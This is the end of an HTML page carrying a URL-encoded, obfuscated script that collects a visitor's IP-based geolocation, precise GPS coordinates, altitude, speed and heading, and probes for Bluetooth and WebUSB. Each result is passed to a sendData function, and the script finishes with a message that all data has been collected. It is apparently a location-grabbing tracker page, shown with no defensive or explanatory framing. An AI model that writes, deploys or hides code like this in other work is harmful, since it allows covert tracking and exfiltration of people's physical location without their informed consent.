9%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22City%20%20%20%20%20%3A%20%22%20+%20%28response.city%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Region%20%20%20%3A%20%22%20+%20%28response.region%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Country%20%20%3A%20%22%20+%20%28response.country%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Postal%20%20%20%3A%20%22%20+%20%28response.postal%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Timezone%20%3A%20%22%20+%20%28response.timezone%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22ISP/Org%20%20%3A%20%22%20+%20%28response.org%20%7C%7C%20%22N/A%22%29%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Lat%20%20%20%20%20%20%3A%20%22%20+%20lat%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Long%20%20%20%20%20%3A%20%22%20+%20lon%20+%20%22%5Cn%22%3B%0A%20%20locReport%20+%3D%20%22Map%20%20%20%20%20%20%3A%20https%3A//www.google.com/maps/place/%22%20+%20lat%20+%20%22%2C%22%20+%20lon%20+%20%22%5Cn%22%3B%0A%20%20sendData%28locReport%29%3B%0A%7D%29.fail%28function%28%29%20%7B%0A%20%20sendData%28%22%5Cn%20IPinfo%20geolocation%20unavailable%5Cn%22%29%3B%0A%7D%29%3B%0A%0Aif%20%28navigator.geolocation%29%20%7B%0A%20%20navigator.geolocation.getCurrentPosition%28%0A%20%20%20%20function%28position%29%20%7B%0A%20%20%20%20%20%20let%20gpsReport%20%3D%20%22%5Cn%uFE0F%5Cn%uFE0F%20GPS%20LATITUDE%20%26%20LONGITUDE%5Cn%22%3B%0A%20%20%20%20%20%20gpsReport%20+%3D%20%22-----------------------------%5Cn%22%3B%0A%20%20%20%20%20%20gpsReport%20+%3D%20%22Latitude%20%20%20%20%20%20%20%3A%20%22%20+%20position.coords.latitude%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20gpsReport%20+%3D%20%22Longitude%20%20%20%20%20%20%3A%20%22%20+%20position.coords.longitude%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20gpsReport%20+%3D%20%22Accuracy%20%20%20%20%20%20%20%3A%20%22%20+%20position.coords.accuracy%20+%20%22%20meters%5Cn%22%3B%0A%20%20%20%20%20%20if%20%28position.coords.altitude%20%21%3D%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20gpsReport%20+%3D%20%22Altitude%20%20%20%20%20%20%20%3A%20%22%20+%20position.coords.altitude%20+%20%22%20meters%5Cn%22%3B%0A%20%20%20%20%20%20%20%20gpsReport%20+%3D%20%22Alt%20Accuracy%20%20%20%3A%20%22%20+%20%28position.coords.altitudeAccuracy%20%7C%7C%20%22N/A%22%29%20+%20%22%20meters%5Cn%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20if%20%28position.coords.heading%20%21%3D%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20gpsReport%20+%3D%20%22Heading%20%20%20%20%20%20%20%20%3A%20%22%20+%20position.coords.heading%20+%20%22%B0%5Cn%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20if%20%28position.coords.speed%20%21%3D%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20gpsReport%20+%3D%20%22Speed%20%20%20%20%20%20%20%20%20%20%3A%20%22%20+%20%28position.coords.speed%20*%203.6%29.toFixed%282%29%20+%20%22%20km/h%5Cn%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20gpsReport%20+%3D%20%22Map%3A%20https%3A//www.google.com/maps/place/%22%20+%20position.coords.latitude%20+%20%22%2C%22%20+%20position.coords.longitude%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20gpsReport%20+%3D%20%22Earth%3A%20https%3A//earth.google.com/web/search/%22%20+%20position.coords.latitude%20+%20%22%2C%22%20+%20position.coords.longitude%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20sendData%28gpsReport%29%3B%0A%20%20%20%20%7D%2C%0A%20%20%20%20function%28error%29%20%7B%0A%20%20%20%20%20%20let%20errMsg%20%3D%20%22%5Cn%uFE0F%5Cn%uFE0F%20GPS%20ERROR%5Cn%22%3B%0A%20%20%20%20%20%20errMsg%20+%3D%20%22-------------%5Cn%22%3B%0A%20%20%20%20%20%20switch%28error.code%29%20%7B%0A%20%20%20%20%20%20%20%20case%20error.PERMISSION_DENIED%3A%0A%20%20%20%20%20%20%20%20%20%20errMsg%20+%3D%20%22User%20denied%20GPS%20permission%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20case%20error.POSITION_UNAVAILABLE%3A%0A%20%20%20%20%20%20%20%20%20%20errMsg%20+%3D%20%22GPS%20position%20unavailable%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20case%20error.TIMEOUT%3A%0A%20%20%20%20%20%20%20%20%20%20errMsg%20+%3D%20%22GPS%20timeout%5Cn%22%3B%0A%20%20%20%20%20%20%20%20%20%20break%3B%0A%20%20%20%20%20%20%20%20default%3A%0A%20%20%20%20%20%20%20%20%20%20errMsg%20+%3D%20%22Unknown%20GPS%20error%3A%20%22%20+%20error.message%20+%20%22%5Cn%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20sendData%28errMsg%29%3B%0A%20%20%20%20%7D%2C%0A%20%20%20%20%7B%20enableHighAccuracy%3A%20true%2C%20timeout%3A%2010000%2C%20maximumAge%3A%200%20%7D%0A%20%20%29%3B%0A%7D%20else%20%7B%0A%20%20sendData%28%22%5Cn%uFE0F%20GPS%20not%20supported%20by%20this%20browser%5Cn%22%29%3B%0A%7D%0A%0Aif%20%28%27bluetooth%27%20in%20navigator%29%20%7B%0A%20%20sendData%28%22%5Cn%20Bluetooth%20API%20%3A%20Supported%20%28requires%20user%20gesture%29%5Cn%22%29%3B%0A%7D%0Aif%20%28%27usb%27%20in%20navigator%29%20%7B%0A%20%20sendData%28%22%5Cn%20WebUSB%20API%20%3A%20Supported%20%28requires%20user%20gesture%29%5Cn%22%29%3B%0A%7D%0A%0AsetTimeout%28function%28%29%20%7B%0A%20%20sendData%28%22%5Cn%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%5Cn%20REPORT%20COMPLETE%20-%20ALL%20DATA%20COLLECTED%5Cn%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%5Cn%22%29%3B%0A%7D%2C%203000%29%3B%0A%3C/script%3E'));
</script>
</body>
</html>